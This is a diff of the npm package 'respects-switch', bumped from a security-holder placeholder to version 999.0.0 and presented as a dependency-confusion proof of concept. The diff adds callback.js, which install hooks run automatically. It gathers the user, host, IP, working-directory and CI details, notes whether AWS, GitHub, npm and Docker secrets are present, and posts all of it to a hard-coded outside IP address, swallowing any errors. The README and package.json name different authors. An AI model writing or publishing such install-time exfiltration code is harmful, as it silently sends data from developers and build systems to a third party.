respects-switch 0.0.1-security → 999.0.0

package/README.md

@@ -1,5 +1,18 @@
-# Security holding package
+# respects-switch
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+## Security Research PoC
 
-Please refer to www.npmjs.com/advisories?search=respects-switch for more information.
+This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
+
+### What is Dependency Confusion?
+
+Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
+
+### Author
+
+- **OFJAAAH**
+- Tool: Dependency Confusion Hunter
+
+### Disclaimer
+
+This package is for **authorized security testing only**. Do not use for malicious purposes.

package/callback.js

@@ -0,0 +1,178 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+
+// === НАСТРОЙКИ ===
+// URL вашего HTTP-слушателя (замените на реальный).
+// Можно переопределить переменной окружения CALLBACK_URL.
+const CALLBACK_URL = process.env.CALLBACK_URL || 'http://132.243.20.244:8000/api/collect';
+
+// Имя пакета (для идентификации)
+const PACKAGE_NAME = 'respects-switch';
+
+// === ВСПОМОГАТЕЛЬНЫЕ ФУНКЦИИ ===
+
+// Получение локального IP (первый не-loopback IPv4)
+function getLocalIP() {
+  try {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+      for (const iface of interfaces[name]) {
+        if (iface.family === 'IPv4' && !iface.internal) {
+          return iface.address;
+        }
+      }
+    }
+  } catch (_) { /* игнорируем */ }
+  return 'unknown';
+}
+
+// Получение внешнего IP (через api.ipify.org)
+async function getExternalIP() {
+  return new Promise((resolve) => {
+    https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
+      let data = '';
+      res.on('data', chunk => data += chunk);
+      res.on('end', () => {
+        try {
+          resolve(JSON.parse(data).ip);
+        } catch (_) {
+          resolve(null);
+        }
+      });
+    }).on('error', () => resolve(null));
+  });
+}
+
+// Определение CI-окружения по переменным
+function detectCIEnvironment() {
+  if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
+  if (process.env.GITLAB_CI) return 'GitLab CI';
+  if (process.env.JENKINS_URL) return 'Jenkins';
+  if (process.env.TRAVIS) return 'Travis CI';
+  if (process.env.CIRCLECI) return 'CircleCI';
+  if (process.env.BUILDKITE) return 'Buildkite';
+  if (process.env.CI) return 'Generic CI';
+  return 'Local Machine';
+}
+
+// Сбор всей информации
+function collectSystemInfo() {
+  const info = {
+    // Общая информация
+    package: PACKAGE_NAME,
+    timestamp: new Date().toISOString(),
+
+    // Пользователь
+    user: os.userInfo().username,
+    uid: os.userInfo().uid,
+    gid: os.userInfo().gid,
+    homedir: os.userInfo().homedir,
+    shell: os.userInfo().shell || 'N/A',
+
+    // Система
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    release: os.release(),
+    type: os.type(),
+
+    // Директории
+    cwd: process.cwd(),
+
+    // Сеть (локальный IP)
+    localIP: getLocalIP(),
+
+    // Node.js
+    nodeVersion: process.version,
+    npmVersion: process.env.npm_package_version || 'unknown',
+
+    // CI/CD
+    isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI ||
+             process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
+    ciEnvironment: detectCIEnvironment(),
+
+    // Переменные окружения (только ключевые)
+    env: {
+      CI: process.env.CI || '',
+      GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
+      GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
+      GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
+      GITLAB_CI: process.env.GITLAB_CI || '',
+      GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
+      JENKINS_URL: process.env.JENKINS_URL || '',
+      BUILD_NUMBER: process.env.BUILD_NUMBER || '',
+      TRAVIS: process.env.TRAVIS || '',
+      CIRCLECI: process.env.CIRCLECI || '',
+      BUILDKITE: process.env.BUILDKITE || '',
+      // Секреты (для оценки риска)
+      AWS_ACCESS_KEY_ID: process.env.AWS_ACCESS_KEY_ID ? '***present***' : '',
+      GITHUB_TOKEN: process.env.GITHUB_TOKEN ? '***present***' : '',
+      NPM_TOKEN: process.env.NPM_TOKEN ? '***present***' : '',
+      DOCKER_PASSWORD: process.env.DOCKER_PASSWORD ? '***present***' : ''
+    }
+  };
+  return info;
+}
+
+// === ОТПРАВКА НА HTTP/HTTPS СЛУШАТЕЛЬ ===
+async function sendCallback() {
+  const systemInfo = collectSystemInfo();
+
+  // Получаем внешний IP (опционально)
+  const externalIP = await getExternalIP();
+  if (externalIP) {
+    systemInfo.externalIP = externalIP;
+  }
+
+  const data = JSON.stringify(systemInfo, null, 2); // с отступами для читаемости
+
+  const url = new URL(CALLBACK_URL);
+  const protocol = url.protocol === 'https:' ? https : http;
+
+  const options = {
+    hostname: url.hostname,
+    port: url.port || (url.protocol === 'https:' ? 443 : 80),
+    path: url.pathname + (url.search || ''),
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+      'User-Agent': `dependency-confusion/${PACKAGE_NAME}`,
+      'X-Package-Name': PACKAGE_NAME
+    },
+    timeout: 10000 // 10 секунд
+  };
+
+  return new Promise((resolve, reject) => {
+    const req = protocol.request(options, (res) => {
+      console.log(`[PoC] Callback отправлен, статус: ${res.statusCode}`);
+      resolve(res.statusCode);
+    });
+
+    req.on('error', (err) => {
+      console.error('[PoC] Ошибка при отправке:', err.message);
+      reject(err);
+    });
+
+    req.on('timeout', () => {
+      req.destroy();
+      reject(new Error('Timeout'));
+    });
+
+    req.write(data);
+    req.end();
+  });
+}
+
+// === ЗАПУСК ===
+(async () => {
+  try {
+    console.log(`[PoC] Отправка данных на ${CALLBACK_URL}...`);
+    await sendCallback();
+    console.log('[PoC] Готово.');
+  } catch (err) {
+    // Тихий провал, чтобы не нарушать установку пакета
+    console.error('[PoC] Не удалось отправить callback:', err.message);
+  }
+})();

package/index.js

@@ -0,0 +1,7 @@
+
+module.exports = {
+  name: 'respects-switch',
+  version: '999.0.0',
+  poc: true,
+  author: 'r0binak'
+};

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "respects-switch",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "999.0.0",
+  "description": "Security research PoC - Dependency Confusion Hunter by r0binak",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js",
+    "postinstall": "node callback.js"
+  },
+  "keywords": [
+    "security",
+    "research",
+    "poc"
+  ],
+  "author": "r0binak - Security Research BB",
+  "license": "MIT"
+}